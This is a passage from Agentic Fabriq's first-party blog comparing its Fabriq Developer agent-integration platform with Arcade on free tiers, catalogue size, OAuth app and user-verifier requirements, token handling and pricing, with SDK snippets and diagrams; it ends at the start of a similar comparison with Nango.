pricing](https://www.agenticfabriq.com/pricing) — ours: Free, Launch and Growth developer plans; 20,000 calls a month free with bring-your-own OAuth app and no access to our shared provider apps; $50 for 200,000 calls and $300 for 2,000,000, which is $2.50 and $1.50 per 10,000 included calls; add-on calls at $2 per 10,000; shared provider apps for non-restricted scopes on a paid plan after a one-time attestation; Gmail and full Google Drive on your own Google app on every plan; Helm self-install on AWS or GCP on a custom plan; what counts as an API call (checked 2026-10-29) - [Fabriq Developer](https://www.agenticfabriq.com/developers) — ours: what you stop building, and the one-form agent registration with a one-time secret. - [Developer Quickstart](https://www.agenticfabriq.com/docs/dev-quickstart) and [Connecting Your Users' Tools](https://www.agenticfabriq.com/docs) — ours: `initiate_connection` and `for_user`, identity read from the request, 900-second tokens with a one-hour ceiling, the `auth_level` ladder, the thirteen-provider external-user OAuth list, and the hosted credentials page — an end-user flow, not an admin one, covering roughly 450 providers, with the four linked-account providers signing in rather than pasting (checked 2026-10-29) - [Agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — ours, vendor-neutral: nine dimensions including credential model, enforcement point and audit granularity. ================================================================================ ## Fabriq Developer vs Arcade: Free Tiers, Tool Counts and the OAuth App You Didn't Plan For URL: https://www.agenticfabriq.com/blog/fabriq-developer-vs-arcade Published: 2026-10-12 Author: Paulina Xu Summary: Free tiers, catalogue counts, whose OAuth client you use, and Arcade's user verifier requirement. First-party, checked 29 October 2026. ```tldr **Arcade's free tier is 2,000 tool calls a month. Ours is 20,000 calls. But the number that will cost you a weekend is neither of those.** It is a line in Arcade's production docs saying its default OAuth apps "can *only* be used with the Arcade user verifier, which requires each end user to sign in to an Arcade account that is a member of your project." *Correction since we first published this page on 2026-10-12: Arcade's pricing page then metered auth events separately — 2,000 included on Free, $0.10 each on Team. On 2026-10-29 that line is gone and the page prices tool calls only. We had built an argument on the second meter, and it is no longer there.* Read that twice if you're building a product for strangers. The fast path works beautifully while you are the only user. Moving to real customers means your own OAuth app per provider *and* a custom user verifier, which is a route you write and host. We don't have that step. Your users never create a Fabriq account, and identity comes from the request your own auth already handled. What we do have is a plan boundary and an uneven catalogue floor. Agentic Fabriq's shared provider apps are a paid-plan feature, so on Free your users connect through an OAuth app you register, and Gmail and full Google Drive use your own Google app on every plan because Google treats those scopes as restricted. The catalogue is 511 providers, of which 125 have a live OAuth sign-in, 12 are building one, and 374 have none and connect by credential on a page we host. We also think Arcade has the better claim on tool quality. It publishes an Optimized versus Unoptimized split and says the unoptimized ones each "mirror one HTTP endpoint", which is a more honest description of most catalogues in this market than the numbers anyone prints. So: before you write a line, check whether your provider has a default Arcade auth provider, and check whether it's one of the thirteen our end-user OAuth flow drives end to end. Those two lookups decide this. ``` > **Published by Agentic Fabriq.** This is a first-party comparison: we make one of the two products on it, > so read it as our argument rather than an independent test. We score neither product and we call nothing > here independent. **Comparison checked: 29 October 2026.** Every Arcade claim below links to Arcade's own > current pricing page or documentation, with the date we read it; where a figure is not published on a > primary source we say so instead of estimating, and where a figure has changed since our first reading we > show both. Fabriq figures come from our own [pricing page](https://www.agenticfabriq.com/pricing), the > [Fabriq Developer page](/developers), the [Developer Quickstart](/docs/dev-quickstart), and the generated > provider catalogue in our codebase. ## Overview {#overview} Arcade and Fabriq Developer are the two products in this market with the most similar thesis, and we've said so in print before. Both put the acting user in the middle of the call. Both keep the credential out of the agent. Arcade's homepage calls itself "the actions runtime between your agents and every system they reach" and says agents "act on behalf of the authenticated user, never through broad service accounts," which is the shape we build around too. Which makes the architecture comparison boring, so this isn't one. Our other pages cover that ground: [10 Best AI Agent Integration Platforms](/blog/best-ai-agent-integration-platforms) and [Composio alternatives](/blog/composio-alternatives) both rank the category on governance. This one is for the Friday before you've raised a Series A. What's in the free tier, how big the catalogue is and how it's counted, what you set up before the first authenticated call, whose OAuth client it is, and what happens to your users' tokens. Arcade figures come from its pricing page and docs, re-read 2026-10-29 and quoted. Ours come from our pricing page, our [Developer Quickstart](/docs/dev-quickstart) and the generated catalogue in our codebase. > **One difference frames all of it:** Arcade sells to the agent's operator, so its free path assumes the > user is you. We sell to a product with customers, so ours assumes the user is a stranger who will never > hear our name. Neither assumption is wrong, and picking the mismatched one is expensive. ## The Free Tiers, Line by Line {#free-tier} Arcade's Free plan is "$0 platform fee, no credit card required" with "2,000 tool calls / month to take real actions", "Fully managed on Arcade Cloud" and "Community support on Discord and GitHub". Team is a "$25 / month platform fee" then "Tool calls at $0.01 each", also Arcade Cloud only, with next-business-day email support. Enterprise is custom, with "Flexible deployment options on Arcade Cloud, in your VPC, or fully air-gapped" plus "SSO, RBAC, audit logs, and private registry access", a dedicated FDE and account team and 24/7 SLA-backed support. Note what is no longer there. When we published this page on 2026-10-12 the pricing page metered auth events as their own unit — 2,000 included on Free, $0.10 each on Team. On 2026-10-29 the word "auth" appears on that page only inside "audit logs", and tool calls are the only billed unit we can find. If you read an older comparison of ours that leaned on a second meter, this is the retraction. Fabriq Developer's Free plan is $0 forever with 20,000 calls a month, unlimited agents, per-agent tool permissions, request logs and live sessions, and the Python SDK, `afctl` CLI and MCP endpoint. Launch is $50 for 200,000 calls and Growth $300 for 2,000,000 ($2.50 and $1.50 per 10,000 included calls), with add-on calls at $2 per 10,000 on either paid plan. | | Arcade Free | Fabriq Developer Free | |---|---|---| | Price | $0 platform fee, no credit card | $0, forever | | Tool calls included | 2,000 / month | 20,000 / month | | Separately metered auth events | Not on the pricing page as of 2026-10-29 | Not metered separately | | Hosting | Arcade Cloud only | Our managed cloud | | Support | Community, on Discord and GitHub | not published per plan | | Next tier up | $25 / month platform fee + $0.01 per tool call | $50 / month for 200,000 calls | The line to stare at is the per-call rate. Arcade Team's tool calls are $0.01 each, or $100 per 10,000, against $2.50 per 10,000 included on Fabriq Launch, $1.50 on Growth and $2 per 10,000 for add-ons. We want to be careful with that gap rather than smug, for two reasons. Unit prices on an unbundled $25 plan aren't comparable to a bundled $50 one. And the units differ: a Fabriq call is any request your agent makes through us, including authenticating and retrieving credentials, where Arcade's unit is the tool call itself. Arcade's Enterprise tier is custom and unpublished, and that's presumably where a real customer lands, so above prototype volume Arcade's Team list price isn't the number you'll pay and nobody outside Arcade can say what is. What we can say flatly: 2,000 calls a month is tight. One afternoon debugging a loop can spend it. ## Counting Catalogues, Which Nobody Does the Same Way {#catalogue} When we last checked Arcade in August 2026 it published no catalogue count. Its homepage has since advertised "8,000+ permission-aware tools"; its pricing page publishes no tool or integration count at all as of 2026-10-29. The auth provider list is a separate and much smaller number: 33 built-in providers on 2026-10-29 — Airtable, Asana, Atlassian, Attio, Calendly, Cisco Duo, ClickUp, Discord, Dropbox, Figma, GitHub, Google, HubSpot, Linear, LinkedIn, Mailchimp, Microsoft, Microsoft Power BI, Miro, Notion, PagerDuty, Reddit, Salesforce, ServiceNow, Slack, Spotify, Square, TickTick, Twitch, X, Zendesk, Zoho and Zoom, plus a generic OAuth 2.0 entry: "If the auth provider you need is not listed, try the OAuth 2.0 provider." We counted 34 on 2026-10-12 and 33 on 2026-10-29, and we have not worked out which one moved, so treat either figure as a reading rather than a fact about the roadmap. Its MCP server catalogue, in nine categories from Productivity through Databases, publishes no aggregate count we could find. Arcade also does something we think the rest of this market should copy. It splits its catalogue into Optimized and Unoptimized tiers, the second formerly called Starter, and describes the difference plainly. Optimized servers "are designed to match the typical data models expected in AI-powered chat interfaces and are subject to evaluation suites to ensure LLMs can safely use them." Unoptimized ones "are heavily influenced by the original API design. Each tool mirrors one HTTP endpoint." Use an Optimized tool where one covers your need, says the guidance, and treat the rest as a complement. That's the most useful thing in any of these catalogues, because it tells you what a big number is made of. A platform advertising twenty thousand tools is mostly advertising endpoint wrappers. Which are fine. They aren't the same product as a tool somebody wrote an eval for. Our catalogue is 511 providers and 62,678 catalogued actions, counted from a generated file in our codebase rather than a marketing page, and it splits by whether a user can sign in at the provider at all: | Connect path | Providers | What your user does | |---|---|---| | Live OAuth sign-in | 125 | Gets redirected, approves at the provider, comes back | | OAuth in progress | 12 | Not yet; the credential route is the only one today | | Credential only | 374 | No OAuth flow at all; supplies a credential instead | Of the 125, 87 can run on Agentic Fabriq's own provider app and 116 accept an OAuth app you register yourself. Three quarters of the catalogue has no OAuth, and that is the honest shape of it. What those 374 are *not*, on the developer path, is work for you. Our developer documentation says there is no admin-entered credential path for external users: every credential, an OAuth grant or a pasted key, is supplied by your user on a page Agentic Fabriq hosts. 448 of the 511 providers reach that page — 444 where your user pastes a credential, and 4 (WhatsApp, Instagram, LinkedIn, Telegram) where they complete the provider's own sign-in, a QR scan or a pairing code. An earlier version of this page said that hosted page supported Notion only; that was true when we wrote it and is not true now. A narrower limit does sit on top, and it is the one to plan around: the external-user *OAuth* flow accepts thirteen provider values today, the ten Google ones plus `slack`, `github` and `notion`, and anything else returns `400 Unsupported OAuth provider`. > **The comparison that resolves this:** Arcade's 33 built-in auth providers against the thirteen our > external-user OAuth flow drives end to end, not 8,000 tools against 511 providers. Those are the providers > where your customer can run a provider sign-in with no app registration from you, and on that comparison > Arcade's list is the longer one. ## Time to First Successful Call {#first-call} Arcade's quickstart is short. `uv add arcadepy` in Python or `bun install @arcadeai/arcadejs` in TypeScript, then an API key, either passed to the constructor or set as `ARCADE_API_KEY`: ```python from arcadepy import Arcade client = Arcade(api_key="{arcade_api_key}") user_id = "{arcade_user_id}" ``` Then the pattern the docs recommend wrapping every call in: ```python auth_response = client.tools.authorize(tool_name=tool_name, user_id=user_id) if auth_response.status != "completed": print(f"Click this link to authorize {tool_name}:\n{auth_response.url}") client.auth.wait_for_completion(auth_response.id) return client.tools.execute(tool_name=tool_name, input=input, user_id=user_id) ``` A clean design. Authorization is a first-class check before execution, the link comes back to you to deliver however you like, and `wait_for_completion` blocks until the user is done. The quickstart's first example is `GoogleNews.SearchNewsStories`, which needs no authorization, so headline time-to-first-call is a minute or two and time to first *authenticated* call is a different number. Ours: ```bash pip install agentic-fabriq-sdk # Python, imports as af_sdk npm install @agenticfabriq/sdk # TypeScript ``` ```python from af_sdk import AgenticFabriq af = AgenticFabriq() # reads AF_APP_ID / AF_APP_SECRET url = await af.initiate_connection(request, provider="gmail") # in your handler return redirect(url) ``` ```python async with await af.for_user(request) as session: tools = await session.get_tools() result = await session.call_tool("google_gmail_list_messages", {"max_results": 5}) ``` Register an agent in the console, get an app ID and a one-time app secret, set them as `AF_APP_ID` and `AF_APP_SECRET`, then two calls. The argument is the request, not a user id, because identity is read from the session your own auth already established. That's the sharpest API difference between us: Arcade's `user_id` is a string you choose and pass on every call, ours is derived from the request. We prefer ours because no agent can get a user-id parameter wrong and send somebody else's mail. Arcade's is more flexible if your caller isn't an HTTP request at all. ```mermaid flowchart TD subgraph ARC["Arcade"] A1["uv add arcadepy"] --> A2["ARCADE_API_KEY"] A2 --> A3["tools.authorize(tool, user_id)"] A3 --> A4["user opens auth_response.url"] A4 --> A5["tools.execute(tool, input, user_id)"] A4 --> A6["default app: user needs an Arcade account"] end subgraph FAB["Fabriq Developer"] F1["pip install agentic-fabriq-sdk"] --> F2["AF_APP_ID / AF_APP_SECRET"] F2 --> F3["initiate_connection(request, provider)"] F3 --> F4["user approves at provider"] F4 --> F5["for_user(request)"] F5 --> F6["session.call_tool(...)"] F3 --> F7["console entry if provider has no OAuth"] end ``` **Figure 1 — Both reach a first call in minutes. The branch that matters is the one hanging off the authorization step, where Arcade's default app pulls your end user into an Arcade account.** Tokens on our side last 900 seconds by default with a hard ceiling of one hour, and the Python client re-mints 60 seconds before expiry, so calling `for_user` per request is the intended pattern rather than waste. For model-driven code the session converts the list with `to_openai_tools()`, `to_anthropic_tools()` or `to_langchain_tools()`. ## The Verifier Problem {#oauth-client} This is the section to read if you read nothing else, and it's the one that isn't on anybody's pricing page. Arcade does provide default OAuth credentials, generously. Its Microsoft page says Arcade Cloud "provides a default Microsoft auth provider so you can try the Arcade Microsoft MCP servers without registering your own app", and Discord's says Arcade Cloud "includes a default Discord auth provider, so you can start without any configuration." Each carries per-provider caveats worth reading: the Microsoft default supports work and school accounts only. Two costs come with any default, both documented. On the consent screen, "your users will see the Arcade brand (name and logo) on the auth screen and your authentications will share any rate limits from those providers with other Arcade customers." The harder one is in the production guidance: the default OAuth apps "can *only* be used with the Arcade user verifier, which requires each end user to sign in to an Arcade account that is a member of your project." That "ties end-user authorization to project membership, which is why the default OAuth apps are intended for development and single-tenant use." For a multi-user production app the docs tell you to add your own OAuth app credentials "and pair them with a custom user verifier, so your end users are verified by your app rather than by project membership." Two pieces of work: a provider project per integration, plus a verification route you write and host. There is no verifier to build on our side, and no Fabriq account for your customer: they approve on a consent page we host with no sign-up. Our own asterisk is the plan, not the verifier. Agentic Fabriq's shared provider apps cover non-restricted scopes on Launch or Growth after a one-time attestation; on the Free plan your users connect through an OAuth app you register; and Gmail and full Google Drive are restricted scopes under Google's policy, so those always go through your own Google app on every plan. If Gmail is the integration your product is built on, you file for Google verification either way. Every token records an `auth_level` saying how strongly the user was proven: `app_asserted` by default, `app_signed` if you sign a 60-second EdDSA assertion with a private key we never hold, `user_present` if a human just completed a connection and we witnessed it. ```mermaid flowchart TD START["Your product needs provider X"] --> Q1{"Arcade default<br/>auth provider for X?"} Q1 -->|No| OWN["Register your own OAuth app"] Q1 -->|Yes| Q2{"More than one<br/>end user?"} Q2 -->|No| FAST["Default app, Arcade verifier, ship"] Q2 -->|Yes| BOTH["Own OAuth app + custom user verifier"] START --> Q3{"In the thirteen our<br/>connect flow drives?"} Q3 -->|Yes| AF["Our client on a paid plan,<br/>our consent page, no account"] Q3 -->|No| CONSOLE["AF-hosted credentials page,<br/>or not supported yet"] ``` **Figure 2 — The decision tree per provider. Arcade's two yes-branches lead to very different amounts of work, and the split is multi-user versus single-tenant rather than free versus paid.** | | Arcade | Fabriq Developer | |---|---|---| | Default OAuth app | Yes, with per-provider caveats | Yes on a paid plan; Free is bring-your-own | | Branding on consent | Arcade's, on a default app | Ours, on our shared apps | | Rate limits on a default app | "share any rate limits from those providers with other Arcade customers" | Shared across our customers too | | End user needs a platform account | Yes, with a default app | No, on any plan | | Multi-user production | Own app + custom verifier | No verifier; our shared apps on a paid plan | | Gmail / full Google Drive | Default Google provider available | Your own Google app on every plan | | The catch | Verifier work before real users | 13 providers on the end-user OAuth path | ## Who Holds the Token When the Call Goes Out {#credentials} Both of us keep the secret away from the model the same way: the credential is attached server-side and the agent gets a result. Arcade's docs put it as "Arcade remembers the user's authorization tokens, so you don't have to", and on the tool-building side, "LLMs and MCP clients cannot see or access your OAuth tokens." There's one real difference, and it cuts for or against Arcade depending on what you're building. Arcade will give your server the raw token on request. Start an authorization with `client.auth.start(user_id=..., provider="google", scopes=[...])`, wait for it, and `auth_response.context.token` is the third-party access token, which you can hand to a provider SDK and call the API yourself. Inside a custom tool, `context.get_auth_token_or_empty()` does the same job. A genuinely useful escape hatch. It also means the token's blast radius is a per-call-site decision rather than a property of the platform, and once it's in your process it's in your logs, your traces and whatever your error reporter serialises. On our side, `for_user` mints a short-lived, user-scoped token and returns a session whose identity is already baked in, so no method on it takes a user id. The provider credential lives in a vault at a path derived from the organization, agent, external user, tool and connection id, never in a database column or a response body. The agent gets a session, never the secret, and there's no `context.token` equivalent. ```mermaid sequenceDiagram participant B as Your backend participant G as Fabriq gateway participant V as Vault participant P as Provider API B->>G: call_tool, user-scoped bearer token G->>G: user's scopes INTERSECT agent's scopes G->>V: fetch credential by reference V-->>G: access token, refreshed if needed G->>P: authorized request P-->>G: response G-->>B: result only, no credential ``` Fabriq gateway gateway computes: user's scopes INTERSECT agent's scopes gateway --fetch by reference--> Vault --access token--> gateway gateway --authorized request--> Provider API --response--> gateway gateway --result only--> your backend. The credential never leaves the gateway. --> **Figure 3 — Our call path. The effective tool list is the intersection of the user's scopes and the agent's, so a broadly scoped agent acting for a narrowly scoped user gets the narrow set.** The intersection is the piece a prototype doesn't notice and a second customer does. An agent declares the scopes it may ever ask for when you register it; a user grants what they grant; the effective list is the overlap. Arcade describes a comparable model, saying authorization "is delegated, so the agent acts as its user and never past its own scope," which we'd read as the same idea arrived at independently. What neither of us should be assumed to do is kill the grant at the provider. Disconnecting clears the grant we store, and if you need the token dead at Google you call Google's revocation endpoint yourself. We'd ask Arcade the same question rather than guess. ## Side by Side, Eight Dimensions {#side-by-side} One table, eight dimensions, every Arcade cell sourced to an Arcade page we read on **2026-10-29**. Where a figure is not published on a primary source, the cell says so rather than carrying a guess, and no row here is scored. | Dimension | Arcade | Fabriq Developer | Arcade source, read 2026-10-29 | |---|---|---|---| | Provider coverage | 33 built-in auth providers plus a generic OAuth 2.0 provider; the homepage advertises "8,000+ permission-aware tools"; the pricing page and the MCP server catalogue publish no aggregate count | 511 providers, 62,678 catalogued actions; 125 with a live OAuth sign-in, 12 in progress, 374 credential-only; 13 on the end-user OAuth path | [auth providers](https://docs.arcade.dev/home/auth-providers), [arcade.dev](https://www.arcade.dev/), [pricing](https://www.arcade.dev/pricing) | | User-connection model | `tools.authorize(tool_name, user_id)` returns a URL you deliver however you like, then `tools.execute(..., user_id)`. The `user_id` is a string your code chooses and passes on every call | `initiate_connection(request, provider)` then `for_user(request)`; identity is read from your framework's session, so no method takes a user id | [quickstart](https://docs.arcade.dev/home/quickstart) | | Who owns the OAuth app | Default Arcade apps exist for many providers, but they "can *only* be used with the Arcade user verifier, which requires each end user to sign in to an Arcade account that is a member of your project"; "intended for development and single-tenant use". Multi-user production needs your own app "paired with a custom user verifier" | Our shared apps on a paid plan for non-restricted scopes after a one-time attestation; your own app on Free; Gmail and full Google Drive always your own Google app. No verifier to write either way | [secure auth in production](https://docs.arcade.dev/en/home/auth/secure-auth-production), [auth providers](https://docs.arcade.dev/home/auth-providers) | | Credential handling | "Arcade remembers the user's authorization tokens, so you don't have to", and "LLMs and MCP clients cannot see or access your OAuth tokens". Your *server* can get the raw token: `auth_response.context.token` after `client.auth.start`, or `context.get_auth_token_or_empty()` inside a tool | Vault-held at a path derived from org, agent, external user, tool and connection id, attached server-side at call time. The agent gets a session, never the secret, and the external-user flow has no raw-token path at all | [authorized tool calling](https://docs.arcade.dev/home/auth/auth-tool-calling), [call third-party APIs](https://docs.arcade.dev/en/build/tool-calling/call-third-party-apis), [create tool auth](https://docs.arcade.dev/en/build/create-tools/tool-basics/create-tool-auth) | | SDK / framework support | `arcadepy` and `@arcadeai/arcadejs`, plus named integrations for AG2, CrewAI, Google ADK, LangChain, OpenAI Agents, Mastra, Vercel AI, CopilotKit, TanStack AI, Spring AI and a vanilla Python MCP client | Python `agentic-fabriq-sdk` and TypeScript `@agenticfabriq/sdk`, one MCP endpoint, and `to_openai_tools()` / `to_anthropic_tools()` / `to_langchain_tools()`. Fewer first-party adapters than Arcade, and we would rather say so | [quickstart](https://docs.arcade.dev/home/quickstart) | | Audit access | "SSO, RBAC, audit logs, and private registry access" are listed under Enterprise. No audit entitlement is published for Free or Team | Request logs and live sessions on the Free plan; each call records the agent, the acting user, the tool and the outcome, denials included | [pricing](https://www.arcade.dev/pricing) | | Pricing unit | The tool call. Free includes 2,000 a month; Team is a $25 platform fee plus "Tool calls at $0.01 each". Auth events were a separate metered unit on 2026-10-12 and are not on the page on 2026-10-29 | The API call; any request your agent makes through Fabriq, including authenticating and retrieving credentials. Duration does not change the cost | [pricing](https://www.arcade.dev/pricing) | | Self-hosting | Enterprise only, and genuinely strong: "Flexible deployment options on Arcade Cloud, in your VPC, or fully air-gapped" | Helm install into your own Kubernetes cluster on AWS or GCP on a custom plan; every other plan runs on our managed cloud. No air-gapped option published | [pricing](https://www.arcade.dev/pricing) | Two rows decide most evaluations here. The who-owns-the-OAuth-app row, because the verifier requirement has a calendar attached to it. And the self-hosting row, because an air-gapped deployment is a yes-or-no question and Arcade answers yes where we don't. ## Where Arcade Is the Better Pick {#pick-arcade} Arcade is the competitor whose thesis we respect most, so this list is longer than it would be for anyone else. **You want the raw token.** `auth_response.context.token` has no equivalent in our external-user flow. If your product is mostly your own code calling provider SDKs and you want managed OAuth under it rather than a tool-calling layer over it, Arcade is built for that and we aren't. **You need to run it yourself.** Arcade's Enterprise tier runs in your VPC or fully air-gapped. If your first customer is a hospital or a bank, that line ends the evaluation. **Your providers are in its 33 and not in the thirteen our end-user OAuth flow drives.** Atlassian, Salesforce, ServiceNow, Zendesk, HubSpot, Linear, Figma and Miro all have built-in Arcade auth providers. Several of those are in our 511-provider catalogue, but through the credentials page rather than a provider sign-in, which is a different product experience for your customer. **You care about tool quality over tool count.** The Optimized tier is subject to evaluation suites. We don't publish an equivalent distinction, and pretending otherwise is the kind of claim this page exists to avoid. **You're single-tenant anyway.** If the agent acts for your own team, the verifier requirement isn't a cost, it's just how your users sign in, and you get the fast path with none of the production work. ## Which to Choose {#choose} **Choose Fabriq Developer when** your end customers must never see a third party's name and must never create an account anywhere but your product; when you want identity derived from the request your own auth already established rather than a `user_id` string your code passes on every call; when a free tier ten times larger on calls matters at prototype stage; when you want no verifier route to write and host before launch; or when you want the provider credential to have no retrieval path at all, so it cannot end up in your logs by accident. [Fabriq Developer](/developers) and the [Developer Quickstart](/docs/dev-quickstart) are the two pages to read next, in that order. **Consider Arcade when** you need the raw token in your own process — `auth_response.context.token` has no equivalent in our external-user flow, and if your product is mostly your own code calling provider SDKs, that is the right shape and ours is not. Also when you need a VPC or air-gapped deployment, which Arcade publishes and we don't; when your providers are among its 33 built-ins; when you want more first-party framework adapters than our two SDKs offer; or when the agent acts for your own team, in which case the verifier requirement is just how your users sign in and you get the fast path for free. If you want the governance argument instead, the [agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) sets out the nine dimensions, credential model and delegation model among them, that a security review eventually asks about. ## Frequently Asked Questions {#faq} **Is Arcade free?** Yes. As of 2026-10-29 the Free plan is a $0 platform fee with no credit card and 2,000 tool calls a month on Arcade Cloud, with community support on Discord and GitHub. Team is a $25 monthly platform fee plus "Tool calls at $0.01 each". The separately metered auth event that appeared on the page on 2026-10-12 is no longer there. **Is Fabriq Developer free?** Yes. The Free plan is $0 forever with 20,000 calls a month, unlimited agents, per-agent tool permissions, request logs and live sessions, and the SDK, CLI and MCP endpoint. **How many tools does Arcade have?** Its homepage says "8,000+ permission-aware tools", and its auth provider page listed 33 built-in providers plus a generic OAuth 2.0 option on 2026-10-29. Its pricing page publishes no count, and we found no published aggregate count of MCP servers in its catalogue. **How many integrations does Fabriq Developer have?** 511 providers and 62,678 catalogued actions, from the generated catalogue in our codebase on 2026-10-29: 125 with a live OAuth sign-in, 12 with one in progress, 374 that connect by credential. The end-user OAuth flow accepts thirteen provider values today; 448 providers reach the hosted credentials page your user fills in. **Do I need my own OAuth app to use Arcade?** Not in development, for the many providers with a default. But the default apps work only with Arcade's user verifier, which requires each end user to have an Arcade account in your project, so multi-user production needs your own app and a custom verifier. **Do I need my own OAuth app to use Fabriq Developer?** It depends on the plan and the scope, and there is no verifier to build either way. On Free, yes: your users connect through your own OAuth app. On Launch or Growth, our shared apps cover non-restricted scopes after a one-time attestation. Gmail and full Google Drive are restricted scopes under Google's policy and use your own Google app on every plan. **Do my users need an Arcade account?** On a default Arcade OAuth app, yes, per its production docs. With your own OAuth app and a custom verifier, no. With us, no. **Which is cheaper, Arcade or Fabriq Developer?** On list prices, we are: 20,000 free calls against 2,000, then $2.50 per 10,000 included on Launch against $0.01 per tool call on Arcade Team. Two caveats that matter more than the arithmetic: the units differ, because a Fabriq call includes authenticating and retrieving credentials where Arcade's is the tool call itself, and Arcade's Enterprise pricing is unpublished, so above prototype volume nobody outside Arcade can answer this. **Can I get the user's access token out of either platform?** Out of Arcade, yes: `auth_response.context.token` after `client.auth.start`, or `context.get_auth_token_or_empty()` inside a tool. Out of our external-user flow, no. ## Conclusion {#conclusion} We think Arcade is the closest thing to us in this market, and the free tiers aren't where the difference shows up. Ten times the calls is a real advantage for us and a small one, because both numbers are prototype numbers and both plans exist to get you to a paid one. The difference shows up at the user verifier. Arcade's defaults are built for an operator running an agent for themselves or their own company, and its docs say so: development and single-tenant use. Ours are built for a product whose users are strangers. If you're the first kind of team, Arcade's fast path is genuinely fast and you'll never pay the verifier cost. If you're the second, you'll pay it right before launch, which is the worst week to find a new project in your backlog. Against that, our catalogue floor is uneven and our shared provider apps need a paid plan, and we'd rather you heard both here. Check your four providers against Arcade's 33 built-ins and the thirteen our end-user OAuth flow drives before you write anything, and let that lookup decide rather than a tool count on either homepage. > **The question to ask both of us:** what do I have to register, host or verify before a stranger can > connect their own account? Arcade answers that honestly in its docs, which is more than most of this > market does, and the answer is longer than its quickstart suggests. ## Sources {#sources} Arcade URLs re-read **2026-10-29**; where a figure changed since this page was first published on 2026-10-12, both readings are given above. Fabriq figures are from our own published pricing page, our developer documentation and the generated provider catalogue in our codebase, and are labelled as ours. - [Arcade pricing](https://www.arcade.dev/pricing) — Free at a "$0 platform fee, no credit card required" with "2,000 tool calls / month to take real actions", Arcade Cloud only, "Community support on Discord and GitHub"; Team at a "$25 / month platform fee" with "Tool calls at $0.01 each" and next-business-day email support; Enterprise with "Flexible deployment options on Arcade Cloud, in your VPC, or fully air-gapped" and "SSO, RBAC, audit logs, and private registry access"; no tool or integration count published; no separately metered auth event (checked 2026-10-29 — the page showed 2,000 included auth events and $0.10 each on 2026-10-12) - [Arcade homepage](https://www.arcade.dev/) — "8,000+ permission-aware tools", the actions-runtime framing, and delegated authorization with agents acting on behalf of the authenticated user. - [Arcade quickstart](https://docs.arcade.dev/home/quickstart) — `uv add arcadepy`, `bun install @arcadeai/arcadejs`, `ARCADE_API_KEY`, the authorize-then-execute helper, the no-auth first example, and the named framework integrations: AG2, CrewAI, Google ADK, LangChain, OpenAI Agents, Mastra, Vercel AI, CopilotKit, TanStack AI, Spring AI and a vanilla Python MCP client (checked 2026-10-29) - [Arcade auth providers](https://docs.arcade.dev/home/auth-providers) — 33 built-in providers (Airtable through Zoom) plus "If the auth provider you need is not listed, try the OAuth 2.0 provider", and the trade-off on default providers: "your users will see the Arcade brand (name and logo) on the auth screen and your authentications will share any rate limits from those providers with other Arcade customers" (checked 2026-10-29; we counted 34 on 2026-10-12) - [Secure auth in production, Arcade](https://docs.arcade.dev/en/home/auth/secure-auth-production) — default OAuth apps that "can *only* be used with the Arcade user verifier, which requires each end user to sign in to an Arcade account that is a member of your project"; "Authorization flows that use a default OAuth app always fall back to the Arcade user verifier, even if you have a custom verifier route configured"; "intended for development and single-tenant use"; and, for a multi-user production app, your own OAuth app credentials "paired with a custom user verifier, so your end users are verified by your app rather than by project membership" (checked 2026-10-29, unchanged since 2026-10-12) - [Authorized tool calling, Arcade](https://docs.arcade.dev/home/auth/auth-tool-calling) — Arcade remembering the user's authorization tokens and the `user_id`-only execution path. - [Directly call third-party APIs, Arcade](https://docs.arcade.dev/en/build/tool-calling/call-third-party-apis) — `client.auth.start`, `wait_for_completion`, and `auth_response.context.token` as a usable third-party credential. - [Add user authorization to your MCP tools, Arcade](https://docs.arcade.dev/en/build/create-tools/tool-basics/create-tool-auth) — `context.get_auth_token_or_empty()`, and the token being injected at runtime where LLMs and MCP clients cannot see it. - [Types of tools, Arcade](https://docs.arcade.dev/en/build/create-tools/improve/types-of-tools) — Optimized servers subject to evaluation suites, Unoptimized tools mirroring one HTTP endpoint each, and the recommendation between them. - [Arcade MCP servers catalogue](https://docs.arcade.dev/mcp-servers) — the nine categories, the Optimized and Starter tiers, and the absence of a published aggregate count. - [Microsoft auth provider, Arcade](https://docs.arcade.dev/en/home/auth-providers/microsoft) — a default Microsoft auth provider in Arcade Cloud, usable without registering your own app, limited to work and school accounts. - [Discord auth provider, Arcade](https://docs.arcade.dev/home/auth-providers/discord) — a default Discord auth provider included in Arcade Cloud, with your own app credentials recommended for production. - [Agentic Fabriq pricing](https://www.agenticfabriq.com/pricing) — ours: Free at 20,000 calls a month with bring-your-own OAuth app and no access to our shared provider apps; Launch at $50 for 200,000 calls and Growth at $300 for 2,000,000, which is $2.50 and $1.50 per 10,000 included calls; add-on calls at $2 per 10,000; shared provider apps for non-restricted scopes on a paid plan after a one-time attestation; Gmail and full Google Drive on your own Google app on every plan; Helm self-install on AWS or GCP on a custom plan (checked 2026-10-29) - [Fabriq Developer](https://www.agenticfabriq.com/developers) — ours: what you stop building, and one-form agent registration with a one-time secret. - [Developer Quickstart](https://www.agenticfabriq.com/docs/dev-quickstart) and [Connecting Your Users' Tools](https://www.agenticfabriq.com/docs) — ours: `initiate_connection` and `for_user`, identity read from the request, 900-second tokens with a one-hour ceiling, the thirteen-provider external-user OAuth list, the `auth_level` ladder, and the hosted credentials page — an end-user flow, not an admin one, covering roughly 450 providers, with WhatsApp, Instagram, LinkedIn and Telegram signing in rather than pasting (checked 2026-10-29) - [Agent access control taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — ours, vendor-neutral: nine dimensions including credential model, delegation model and enforcement point. ================================================================================ ## Fabriq Developer vs Nango: What You Own and What You Call URL: https://www.agenticfabriq.com/blog/fabriq-developer-vs-nango Published: 2026-10-12 Author: Paulina Xu Summary: Free tiers, catalogue size, whose OAuth app you register, self-hosting, and who holds your user's token. First-party, checked 29 October 2026. ```tldr **These two products answer different questions, and the free tiers give the difference away.** Nango's free plan is 10 connections, and its own FAQ defines a connection as one access token: "3 users connect their Gmail = 3 connections". Fabriq Developer's free plan is 20,000 calls a month with unlimited agents, priced on calls rather than on connected users — with one asterisk we got wrong the first time: on our free plan your users connect through an OAuth app *you* register, because Agentic Fabriq's shared provider apps are a paid-plan feature. The second difference is what the word "open source" buys you. Nango's repository ships under the Elastic License 2.0, and the free self-hosted build covers auth and the proxy only. Syncs, tool calls and the MCP server require Nango Cloud or an enterprise self-host. So the honest comparison isn't feature counts. It's whether you want to operate an integration platform or call one. This is not an argument that Nango is the weaker product. If you want integration 